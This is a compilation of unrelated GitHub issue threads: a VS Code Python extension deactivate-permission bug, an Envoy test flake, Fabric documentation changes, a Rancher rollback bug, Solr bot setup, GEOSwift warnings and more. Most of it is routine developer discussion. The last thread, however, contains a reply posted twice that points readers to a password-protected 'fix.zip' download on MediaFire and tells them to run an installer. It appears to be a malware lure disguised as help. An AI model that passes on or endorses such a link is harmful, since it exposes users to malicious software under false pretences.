Upgrade and leave gmic-qt broken. It's already broken and upgrading doesn't fix it or make the situation worse

Okay I found the issue again for gmic-qt being broken (finally back on laptop): #212563
Reverting this upgrade will not fix gmic-qt

So I will close this.


Deactivate Script in remote server is Permission denied

Type: Bug
When creating a virtual environment with python3 -m venv env and then opening the terminal
((env) ) randark@developer:~/code/20240407-ssti$

Anomalous double-bracket-wrapped environment hints appear
At the same time, when trying to de-activate the virtual environment, an anomalous insufficient permissions message appears
((env) ) randark@developer:~/code/20240407-ssti$ deactivate
bash: /home/randark/.vscode-server/extensions/ms-python.python-2024.4.0/python_files/deactivate/bash/deactivate: Permission denied

Extension version: 2024.4.0
VS Code version: Code 1.87.2 (863d2581ecda6849923a2118d93a088b0745d9d6, 2024-03-08T15:20:17.278Z)
OS version: Windows_NT x64 10.0.22631
Modes: Unsupported
Remote OS version: Linux x64 6.5.0-17-generic

System Info

Item
Value

CPUs
13th Gen Intel(R) Core(TM) i7-13620H (16 x 2918)

GPU Status
2d_canvas: enabledcanvas_oop_rasterization: enabled_ondirect_rendering_display_compositor: disabled_off_okgpu_compositing: enabledmultiple_raster_threads: enabled_onopengl: enabled_onrasterization: enabledraw_draw: disabled_off_okskia_graphite: disabled_offvideo_decode: enabledvideo_encode: enabledvulkan: disabled_offwebgl: enabledwebgl2: enabledwebgpu: enabled

Load (avg)
undefined

Memory (System)
63.69GB (34.22GB free)

Process Argv
--crash-reporter-id c9f4871d-20e2-430d-8db2-04870357e670

Screen Reader
no

VM
29%

Item
Value

Remote
SSH: Developer

OS
Linux x64 6.5.0-17-generic

CPUs
13th Gen Intel(R) Core(TM) i7-13620H (4 x 2918)

Memory (System)
7.71GB (5.26GB free)

VM
29%

A/B Experiments
vsliv368cf:30146710
vspor879:30202332
vspor708:30202333
vspor363:30204092
vscod805cf:30301675
binariesv615:30325510
vsaa593:30376534
py29gd2263:30899288
c4g48928:30535728
azure-dev_surveyone:30548225
962ge761:30959799
pythongtdpath:30769146
pythonidxpt:30866567
pythonnoceb:30805159
asynctok:30898717
pythontestfixt:30902429
pythonregdiag2:30936856
pyreplss1:30897532
pythonmypyd1:30879173
pythoncet0:30885854
h48ei257:31000450
pythontbext0:30879054
dsvsc016:30899300
dsvsc017:30899301
dsvsc018:30899302
cppperfnew:31000557
d34g3935:30971562
fegfb526:30981948
bg6jg535:30979843
ccp2r3:30993541
dsvsc020:30976470
pythonait:31006305
gee8j676:31009558
dsvsc021:30996838
g1icg217:30999571

Experiencing the same issue as well. This was after the new update.
Am running on WSL2 Ubuntu 20.04

For work around -> With root access you can give rights to deactivate file with chmod.
sudo chmod 777 .vscode-server/extensions/ms-python.python-2024.4.0/python_files/deactivate/bash/deactivate

Same problem here, which also persists when rolling back to the previous version of VSCode (1.87.2). Cannot use the workaround that was suggested as I don't have sudo rights on the remote server.

+1
Pop!_OS 22.04 LTS
VSCode 1.88.0 Commit: 5c3e652f63e798a5ac2f31ffd0d863669328dc4c

+1
Pop!_OS 22.04 LTS VSCode 1.88.0 Commit: 5c3e652f63e798a5ac2f31ffd0d863669328dc4c
Found this comment recommending to downgrade the Python Extension from 2024.4.0 to 2024.2.1 which after a VSCode refresh and restarting the terminal, resolved the issue for me.

This worked for me on VSCode Insider v1.89.0-insider

Hello everyone the double parenthesis is fixed and tracked via: https://github.com/microsoft/vscode-python/issues/23193. I'll look more into deactivate with remote scenarios.

I'm running into the same issue on my MAC. Here are the specific details of my VSCode setup:
Version: 1.87.1 (Universal)
Commit: 1e790d77f81672c49be070e04474901747115651
Date: 2024-03-06T00:23:16.418Z (1 mo ago)
Electron: 27.3.2
ElectronBuildId: 26836302
Chromium: 118.0.5993.159
Node.js: 18.17.1
V8: <IP_ADDRESS>-electron.0
OS: Darwin arm64 23.3.0

On local venvs deactivate also doesnt work and gives zsh: permission denied.
Fix is the same: sudo chmod 777 ~/.vscode/extensions/ms-python.python-2024.4.1/python_files/deactivate/zsh/deactivate
I am on mac M1pro with zsh.

+1

+1

✅  chmod +x ~/.vscode/extensions/ms-python.python-2024.4.1/python_files/deactivate/zsh/deactivate
❌ chmod 777

✅ chmod +x ~/.vscode/extensions/ms-python.python-2024.4.1/python_files/deactivate/zsh/deactivate ❌ chmod 777

This worked for me on WSL2 Ubuntu. Thanks

+1

Deactivation with the current terminal environment variable activation experiment has some limitation as previously mentioned in: https://github.com/microsoft/vscode-python/issues/22037. We then have made effort to inserting deactivate script path from Python extension to user to work around this, but I can see the permission issue for remote scenarios. This is bit tricky since we cannot really automatically run deactivation with user admin permission without admin password, which should be private and is not ideal for extension to attempt. I'll be looking around to see if there are alternative ways we can go about injecting deactivation path for remote scenarios.
For now see, lets see if following https://github.com/microsoft/vscode-python/wiki/Fixing-"deactivate"-command-for-Virtual-Environments and inserting the path to deactivate script in shell specific initialization script works.

Why is this script even here? I have this in my .bashrc now:
if [[ -n $VIRTUAL_ENV ]]; then
    unset VSCODE_ENV_PREPEND VSCODE_ENV_REPLACE
    source "$VIRTUAL_ENV/bin/activate"
fi

What if I am running VSCode on Windows and want to connect (SSH) to Linux - what is the command to fix in this case?

I've noticed that pyenv-virtualenv requires source deactivate rather than deactivate https://github.com/pyenv/pyenv-virtualenv/blob/37917069ecba16602decd3dd2c8b09121c673a41/shims/deactivate#L5
If it makes the function work more reliably, I think it'd be acceptable for vscode-python to also require the source deactivate syntax.

source deactivate doesn't seem to work either - but v24.2.1 does solve the issue

@jamesylgan Try the pre-release it should have the fix


test flake: RebalancerTest.BindToPortUpdate

[ RUN      ] IpVersions/RebalancerTest.BindToPortUpdate/IPv4
[2022-08-11 16:48:57.147][566][critical][assert] [source/server/connection_handler_impl.cc:300] assert failure: absl::holds_alternative<std::reference_wrapper<ActiveTcpListener>>( active_listener->get().typed_listener_) && active_listener->get().listener_->listener() != nullptr.
[2022-08-11 16:48:57.147][566][critical][backtrace] [./source/server/backtrace.h:104] Caught Aborted, suspect faulting address 0xfffe00000011
[2022-08-11 16:48:57.148][566][critical][backtrace] [./source/server/backtrace.h:91] Backtrace (use tools/stack_decode.py to get line numbers):
[2022-08-11 16:48:57.148][566][critical][backtrace] [./source/server/backtrace.h:92] Envoy version: 0/1.22.4/test/DEBUG/BoringSSL
[2022-08-11 16:48:57.229][566][critical][backtrace] [./source/server/backtrace.h:96] #0: Envoy::SignalAction::sigHandler() [0x81d204e]
[2022-08-11 16:48:57.308][566][critical][backtrace] [./source/server/backtrace.h:96] #1: __tsan::CallUserSignalHandler() [0x2d8282c]
==================
WARNING: ThreadSanitizer: data race (pid=17)
  Read of size 8 at 0x7b540004a8f0 by thread T24:

https://dev.azure.com/cncf/envoy/_build/results?buildId=114803&view=logs&j=d1f76054-8f79-554b-6f4a-11d6a63b8e00&t=266e17e3-d213-54b5-deef-0dcee01da137
cc @soulxu might be related to your recent PRs

Yea, let me check

This is happened before the recent PR added.
Maybe https://github.com/envoyproxy/envoy/pull/22622 fixed this.  Since IpVersions/RebalancerTest.BindToPortUpdate/IPv4 also did the listener update.
We can see if the test still showing failed.

Maybe #22622 fixed this. Since IpVersions/RebalancerTest.BindToPortUpdate/IPv4 also did the listener update.

Emm.... IpVersions/RebalancerTest.BindToPortUpdate/IPv4 doesn't use ipv4_compat flag, that PR shouldn't fix it.


Remove Idemixgen from Fabric produced binaries

Type of change

Documentation update

Description
Removed Idemixgen from the documentation to reflect its removal from the set of Fabric produced binaries.

Additional details

Related issues

Thank you for the update.
There is also a link to this document in a table of contents that needs to be removed at the same time - https://raw.githubusercontent.com/hyperledger/fabric/main/docs/source/ops_guide.rst
Also https://github.com/hyperledger/fabric/blob/main/docs/source/idemix.rst mentions that Fabric provides this tool. I think we'd want to update that wording from "Fabric provides two possible Idemix issuers" to "There are two possible Idemix issuers". And make "idemix tool" a hyperlink over to https://github.com/IBM/idemix.
Finally, I think we'd want this doc content to appear at https://github.com/IBM/idemix where the tool now resides, before removing it from Fabric docs, do you want to submit the PR to https://github.com/IBM/idemix as well to complete the move?

Thank you for the update.
There is also a link to this document in a table of contents that needs to be removed at the same time - https://raw.githubusercontent.com/hyperledger/fabric/main/docs/source/ops_guide.rst
Also https://github.com/hyperledger/fabric/blob/main/docs/source/idemix.rst mentions that Fabric provides this tool. I think we'd want to update that wording from "Fabric provides two possible Idemix issuers" to "There are two possible Idemix issuers". And make "idemix tool" a hyperlink over to https://github.com/IBM/idemix.
Finally, I think we'd want this doc content to appear at https://github.com/IBM/idemix where the tool now resides, before removing it from Fabric docs, do you want to submit the PR to https://github.com/IBM/idemix as well to complete the move?

Thank you for your feedback and guidance!

Sorry, there is now a conflict in the doc, I think in the ops_guide table of contents. Could you resolve the conflict by rebasing locally and then re-push?
Also, it would be nice to squash the 3 commits into a single commit, see guidance at https://hyperledger-fabric.readthedocs.io/en/latest/github/github.html#updating-a-pull-request.


Validate that current_school is set on submit

It's set by the update_current_school callback if the user selects same school, otherwise the user should be setting it manually.
We now run update_current_school on validation as well as saving. This is fine to do as the value of it is invisible to the user. The other callbacks only run on save so we show the user the values they entered if there's an error with them, not a normalized version of them.

 User can submit no current school without JS

@robbiepaul Ready for another review.


MRC TyDi F1 Metric

aferritto created the following on Mar 28:
Closes #50
Implements TyDi F1 metric based on our own modified version of the official script.  Also updates flaky fixture params to try to help with transient S3 errors.
Creates Tech debt #80
TODO:

[x] Create analogue of #52 for metrics
[x] Update imports of types/data_models

Original issue: https://github.ibm.com/ai-foundation/PrimeQA/pull/75

PR merged.


[BUG] Problem with deployment Rollback through the Rancher GUI - Deployment.apps is invalid: spec.template.metadata.labels: Invalid value: map[string]string{}: selector does not match template labels

Rancher Server Setup

Rancher version:
v2.6.8

Installation option (Docker install/Helm Chart):
Docker install

Information about the Cluster

Kubernetes version:
1.21

Cluster Type (Local/Downstream):

If downstream, what type of cluster? (Custom/Imported or specify provider for Hosted/Infrastructure Provider):
Hosted, Imported from EKS

User Information

What is the role of the user logged in? (Admin/Cluster Owner/Cluster Member/Project Owner/Project Member/Custom)
Admin

Describe the bug
When I try to rollback I get the following message:
Deployment.apps “api-notifies-php” is invalid: spec.template.metadata.labels: Invalid value: map[string]string{}: selector does not match template labels
To Reproduce
1. From the Global view, open the project running the workload you want to rollback.
2. Find the workload that you want to rollback and select Vertical ⋮ (... ) > Rollback.
3. Choose the revision that you want to roll back to. Click Rollback.
Result
Error:
Deployment.apps “api-notifies-php” is invalid: spec.template.metadata.labels: Invalid value: map[string]string{}: selector does not match template labels
Expected Result
The expected rollback is successful.
Screenshots
https://ibb.co/kcn3nfC
Additional context
I’ve reviewed the Deployment manifest, adjusted the indentation, made sure the matchLabels selector is the same as the Pod labels in the templates section.
I tried several things, but I couldn’t solve this problem, in order to perform the Deployment Rollback.
Through kubectl the rollback is working correctly.
Here is my deployment manifest:
---
apiVersion: apps/v1
kind: Deployment
metadata:
  name: nginx-deployment
  namespace: teste-devops
  labels:
    app: nginx
spec:
  template:
    metadata:
      labels:
        projeto: testando
    spec:
      containers:
      - name: nginx
        image: nginx:1.20.0
        ports:
        - containerPort: 80
  replicas: 2
  selector:
    matchLabels:
      projeto: testando

Docker version(on EC2 instance where Rancher is hosted):

Client: Docker Engine - Community
 Version:           20.10.17
 API version:       1.41
 Go version:        go1.17.11
 Git commit:        100c701
 Built:             Mon Jun  6 23:02:57 2022
 OS/Arch:           linux/amd64
 Context:           default
 Experimental:      true

Server: Docker Engine - Community
 Engine:
  Version:          20.10.17
  API version:      1.41 (minimum version 1.12)
  Go version:       go1.17.11
  Git commit:       a89b842
  Built:            Mon Jun  6 23:01:03 2022
  OS/Arch:          linux/amd64
  Experimental:     false
 containerd:
  Version:          1.6.6
  GitCommit:        10c12954828e7c7c9b6e0ea9b0c02b01407d3ae1
 runc:
  Version:          1.1.2
  GitCommit:        v1.1.2-0-ga916309
 docker-init:
  Version:          0.19.0
  GitCommit:        de40ad0

Details about the Kubernetes nodes inside Rancher Container:
sh-4.4# kubectl get nodes
NAME         STATUS   ROLES                       AGE    VERSION
local-node   Ready    control-plane,etcd,master   132m   v1.24.1+k3s1
sh-4.4#

This is pretty much a duplicate of #7803, however keeping open for QA to test specific example

/backport v2.6.11

Validated this issue on v2.7-7913e283ff90eebd1f8cc48860a6b410d72cd4dd-head . This issue got fixed and closing the issue.
Validation Details:

Validated below tests with Admin and Standard user
Validated below tests on RKE2 cluster (Downstream cluster)
Validated below tests on Auto and Dark modes

Reproducible Steps:

Provision Rancher
Login with user
Downstream cluster
Create a work load (deployment / Service) (Ex: Deployment->Workload->Image (nginx:1.14.0))
Edit the workload and change the image value to nginx:1.13.0
Save
Roll back this nginx:1.13.0 TO nginx:1.14.0
Save and check the NEW version is deployed successfully
Rollback this version to nginx:1.13.0
Save and check the OLD version is deployed successfully

Validated this issue on v2.7-7913e283ff90eebd1f8cc48860a6b410d72cd4dd-head . This issue got fixed and closing the issue.
Validation Details:
1. Validated below tests with Admin and Standard user

2. Validated below tests on RKE2 cluster (Downstream cluster)

3. Validated below tests on Auto and Dark modes

Reproducible Steps:
1. Provision Rancher

2. Login with user

3. Downstream cluster

4. Create a work load (deployment / Service) (Ex: Deployment->Workload->Image (nginx:1.14.0))

5. Edit the workload and change the image value to `nginx:1.13.0`

6. Save

7. Roll back this `nginx:1.13.0` TO `nginx:1.14.0`

8. Save and check the NEW version is deployed successfully

9. Rollback this version to `nginx:1.13.0`

10. Save and check the OLD version is deployed successfully

Thanks, i am going to test as soon as possible.

Hello, I tested the rollback through the Rancher GUI, now the rollback worked correctly.
The test was performed using version v2.7.2 of Rancher.
Rancher was provisioned via Docker on EC2 on AWS.
@richard-cox   and @dasarinaidu , thanks for all the support!
Greetings!!


It's hard to find the help button

In the bottom right corner, the question mark is very tiny, and the placement to me seems to imply that clicking it would display info about the developers/site, not actually about the challenges. I think it would be useful to change the design to be more clear.
My suggestion is to make it a button that says "Level Help" instead of just an icon.

Im ok with that change if you'd like to put it up! The only advantage now
is that its the same in all languages and doesnt need translation. Maybe
help + the question mark button
the help button there applies both to sandbox and to levels though
On Tue, Sep 17, 2019 at 11:17 AM Ben Thayer<EMAIL_ADDRESS>wrote:

In the bottom right corner, the question mark is very tiny, and the
placement to me seems to imply that clicking it would display info about
the developers/site, not actually about the challenges. I think it would be
useful to change the design to be more clear.
My suggestion is to make it a button that says "Level Help" instead of
just an icon.
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/pcottle/learnGitBranching/issues/604?email_source=notifications&email_token=AAIVDH3X6ELXQAOQXU4LEIDQKENLZA5CNFSM4IXTP6MKYY3PNVWWK3TUL52HS4DFUVEXG43VMWVGG33NNVSW45C7NFSM4HL5WQWQ,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AAIVDH2KCS5TQY5PXJVRH6TQKENLZANCNFSM4IXTP6MA
.

--
Peter M Cottle
UC Berkeley 2012
UC San Diego 2011

I can do that, but does it matter? It seems like the rest of the app doesn't have internationalization

It does actually have a fair number of translations in other languages. I
just try to think about it
On Tue, Sep 17, 2019 at 5:14 PM Ben Thayer<EMAIL_ADDRESS>wrote:

I can do that, but does it matter? It seems like the rest of the app
doesn't have internationalization
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub
https://github.com/pcottle/learnGitBranching/issues/604?email_source=notifications&email_token=AAIVDH4T5N4MTZDZBT6XVNLQKFXFJA5CNFSM4IXTP6MKYY3PNVWWK3TUL52HS4DFVREXG43VMVBW63LNMVXHJKTDN5WW2ZLOORPWSZGOD66LYPQ#issuecomment-532462654,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AAIVDH3OMVO6FEQ4ERCI2VLQKFXFJANCNFSM4IXTP6MA
.

--
Peter M Cottle
UC Berkeley 2012
UC San Diego 2011

(closing out old issues, still down for this though)

(closing out old issues, still down for this though)


Example SOLR_DATA for Config file

I'm trying to create a bot for my own repository, but seem to be getting a set of errors which I think may be related to not understanding exactly what I should be entering here as my Solr query.
Test query: http://arcabc.ca/islandora/search/asshole?type=dismax&fl=PID%2C+mods_titleInfo_title_ms&wt=json&indent=true&rows=15
File "YUDLbot.py", line 13, in
data = json.loads(response.read())
File "/usr/lib/python2.7/json/init.py", line 338, in loads
return _default_decoder.decode(s)
File "/usr/lib/python2.7/json/decoder.py", line 366, in decode
obj, end = self.raw_decode(s, idx=_w(s, 0).end())
File "/usr/lib/python2.7/json/decoder.py", line 384, in raw_decode
raise ValueError("No JSON object could be decoded")
ValueError: No JSON object could be decoded
Could you perhaps post an example valid Solr query for this field in the Readme, such as the one powering YUDLbot? (Or perhaps my query is already formatted correctly and I'm getting the error for a different reason?)

Ah, so the query doesn't run through Islandora, but through access to Solr itself? OK, so I'll have to hunt down the correct path for my install. Thanks.
So does the script have to be hosted on the same server as Solr, or can it be run externally?
Re "asshole": Yes, just for the test.. There's a favourite paper we like to use for demos: http://arcabc.ca/islandora/object/unbc%3A6815

I'm not certain that hosting on the same box is actually required... I was trying it out in my Vagrant box, and modifying my SOLR_DATA with your query actually seems to be getting some results.
I used this:
solr_data = 'https://digital.library.yorku.ca/solr/yudl/select?q=mods_relatedItem_titleInfo_title_s%3A"Toronto+Telegram+fonds%2C+F0433"+AND+dc.title%3Acats+AND+RELS_EXT_hasModel_uri_ms%3A"info%3Afedora%2Fislandora%3Asp_large_image_cmodel"&fl=PID%2C+mods_abstract_s&rows=20000&wt=json&indent=true'
This time no "No JSON object" error, so it seems to be getting results (and that makes sense, as visiting the URL in the browser gets results). It just seems to have trouble getting the Title field:
File "YUDLbot.py", line 20, in
title = item["mods_titleInfo_title_ms"][0]
KeyError: 'mods_titleInfo_title_ms'

Great, thanks.

And I got it working. :)
https://twitter.com/arca_bc/status/764224388321325056
Shouldn't be too hard to point it at Arca now. Thanks for your help.


test: complete uts in pkg pkg/utl/template

Signed-off-by: Bird<EMAIL_ADDRESS>Pre-Checklist
Note: please complete ALL items in the following checklist.

[x] I have read through the CONTRIBUTING.md documentation.
[x] My code has the necessary comments and documentation (if needed).
[x] I have added relevant tests

Related Issues
close #1006

@steinliber PTAL, thank you! ❤


Swift 4 and GEOSwift compile warnings

Currently in my application i'm seeing ~ 354 total warnings from the GEOSwift library.  Is there any plan to update to fix these warnings?

@sbrioux not sure of the plans, and I too would like to see them fixed. If you want to use the library anyway in the meantime but silence the warnings (and if you're using CocoaPods) you can ignore them using pod 'GEOSwift', inhibit_warnings: true in your Podfile.

@sbrioux can you please provide more information? A screenshot would help.
Thanks!

Looks like just 6 issues from the GEOSwift library but 356 from the geos library

@sbrioux it would be great if you could create a pull request, and fix these 6 warnings.
To silence the remaining ones fromgeos use @macdrevx 's suggestion.

Looks like this is fixed in develop. Thanks @sbrioux and @simonbilskyrollins.


How to use R(2+1)D with TAda?

Can you show us the detail of using R(2+1)D with TAdaConv?

Hi, we just updated the implementation for TAdaConv3d.
For using R(2+1)D with TAdaConv,

follow the guideline in README.md to replace the 2d conv with TAdaConv2d
similarly, replace the original 1d conv with TAdaConv3d (with kernel set to [3,1,1]).

For the implementation of the R(2+1)D in our paper, please refer to r2plus1d_branch.py.


Delete exhibitors from the list

List in the thread on Slack.
I've tried deleting them by removing data from the profile and deleting the logotype URL + company name, but they are still visible on the list. Please let me know if there is any other way I can deal with it myself.

@jprzybylski4 there is a "hidden" flag (not yet accessible via panel) and i have set it to 1.


Can you provide a copy of the typescript code

I'm excited to find examples related to op_cat, but rust is difficult for me to understand, and I'd love to have a copy of the typescript implementation example!

Download
https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Download
https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Thank you for your interest in learning more. I don't believe we have a purrfect_vault implementation in typescript. Let me verify that is the case and get back to you.